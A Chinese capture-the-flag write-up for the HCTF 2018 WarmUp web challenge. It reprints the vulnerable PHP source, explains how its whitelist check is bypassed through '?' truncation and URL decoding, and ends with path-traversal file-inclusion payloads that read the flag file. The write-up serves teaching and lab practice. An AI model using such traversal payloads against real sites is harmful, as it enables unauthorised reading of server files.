文章总结： 该文档分析了HCTF2018WarmUpCTF题目中的文件包含漏洞。通过源码审计发现checkFile函数存在白名单绕过漏洞，利用多次URL解码和参数截取机制，最终通过构造payload成功包含并读取系统flag文件。
综合评分： 82
文章分类： CTF,WEB安全,漏洞分析,代码审计

[HCTF 2018]WarmUp

原创

devildollking
devildollking

熔城Sec

2026年6月4日 09:00
辽宁

在小说阅读器读本章

去阅读

01

题目简介

• 题目名称：[HCTF 2018]WarmUp
• 题目平台：CTF²
• 题目类型：Web

02

解题步骤

启动并访问靶机

查看网页源代码，发现可能存在隐藏文件source.php

访问source.php，发现存在大量源码

<?php&nbsp; &nbsp;&nbsp;highlight_file(__FILE__);&nbsp; &nbsp;&nbsp;class&nbsp;emmm&nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;function&nbsp;checkFile(&$page)&nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$whitelist&nbsp;= ["source"=>"source.php","hint"=>"hint.php"];&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!&nbsp;isset($page) || !is_string($page)) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;"you can't see it";&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;false;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(in_array($page,&nbsp;$whitelist)) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;true;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$_page&nbsp;=&nbsp;mb_substr(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$page,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;mb_strpos($page&nbsp;.&nbsp;'?',&nbsp;'?')&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; );&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(in_array($_page,&nbsp;$whitelist)) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;true;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$_page&nbsp;=&nbsp;urldecode($page);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$_page&nbsp;=&nbsp;mb_substr(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$_page,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;mb_strpos($_page&nbsp;.&nbsp;'?',&nbsp;'?')&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; );&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(in_array($_page,&nbsp;$whitelist)) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;true;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;"you can't see it";&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;false;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;if&nbsp;(!&nbsp;empty($_REQUEST['file'])&nbsp; &nbsp; &nbsp; &nbsp; &&&nbsp;is_string($_REQUEST['file'])&nbsp; &nbsp; &nbsp; &nbsp; && emmm::checkFile($_REQUEST['file'])&nbsp; &nbsp; ) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;include&nbsp;$_REQUEST['file'];&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;exit;&nbsp; &nbsp; }&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;echo&nbsp;"<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";&nbsp; &nbsp; } &nbsp;?>

看到里面分别有source.php和hint.php，我们这里访问一下hint.php看一下

整体结构大致是实现了一个带有“安全检查”的文件包含功能，只有当 file 参数经过 checkFile 校验通过后，才会 include 这个文件

<?phphighlight_file(__FILE__); &nbsp;&nbsp;// 输出当前文件自身的源码（高亮显示）class&nbsp;emmm&nbsp;{ ... } &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 定义了一个类，包含静态方法 checkFile
if&nbsp;(!&nbsp;empty($_REQUEST['file']) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 接收 GET 或 POST 中的 file 参数&nbsp; &nbsp; &&&nbsp;is_string($_REQUEST['file']) &nbsp; &nbsp;&nbsp;// 必须是字符串&nbsp; &nbsp; && emmm::checkFile($_REQUEST['file'])&nbsp;// 通过白名单检查) {&nbsp; &nbsp;&nbsp;include&nbsp;$_REQUEST['file']; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 包含该文件&nbsp; &nbsp;&nbsp;exit;}&nbsp;else&nbsp;{&nbsp; &nbsp;&nbsp;echo&nbsp;"<br><img src=\"...\" />"; &nbsp; &nbsp;&nbsp;// 失败时显示一张图片}

checkFile该方法接收一个 &$page，先判断参数是否存在且为字符串，否则返回 false

public static function checkFile(&$page){    $whitelist = ["source"=>"source.php","hint"=>"hint.php"];  // 白名单数组

如果 $page 的值直接等于 “source.php” 或 “hint.php”，则通过。

if (in_array($page, $whitelist)) {    return true;}

允许用户传入 source.php?任意内容，实际截取 ? 前部分 source.php 来匹配白名单。这样可以包含 source.php 并可能传递查询参数

$_page = mb_substr(    $page,    0,    mb_strpos($page . '?', '?'));

先对 $page 进行 URL 解码（urldecode），然后再次用相同方式截取第一个 ? 之前的部分，最后判断截取后的值是否在白名单中。

$_page = urldecode($page);$_page = mb_substr(    $_page,    0,    mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {    return true;}

通过上面我们所获取的信息，我们对于绕过并获取flag已经有思路了，通过file已经白名单进行绕过，所以就能构造payload了

?file=hint.php?../../../../../ffffllllaaaagggg

/?file=source.php?../../../../../ffffllllaaaagggg

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：熔城Sec devildollking
devildollking《[HCTF 2018]WarmUp》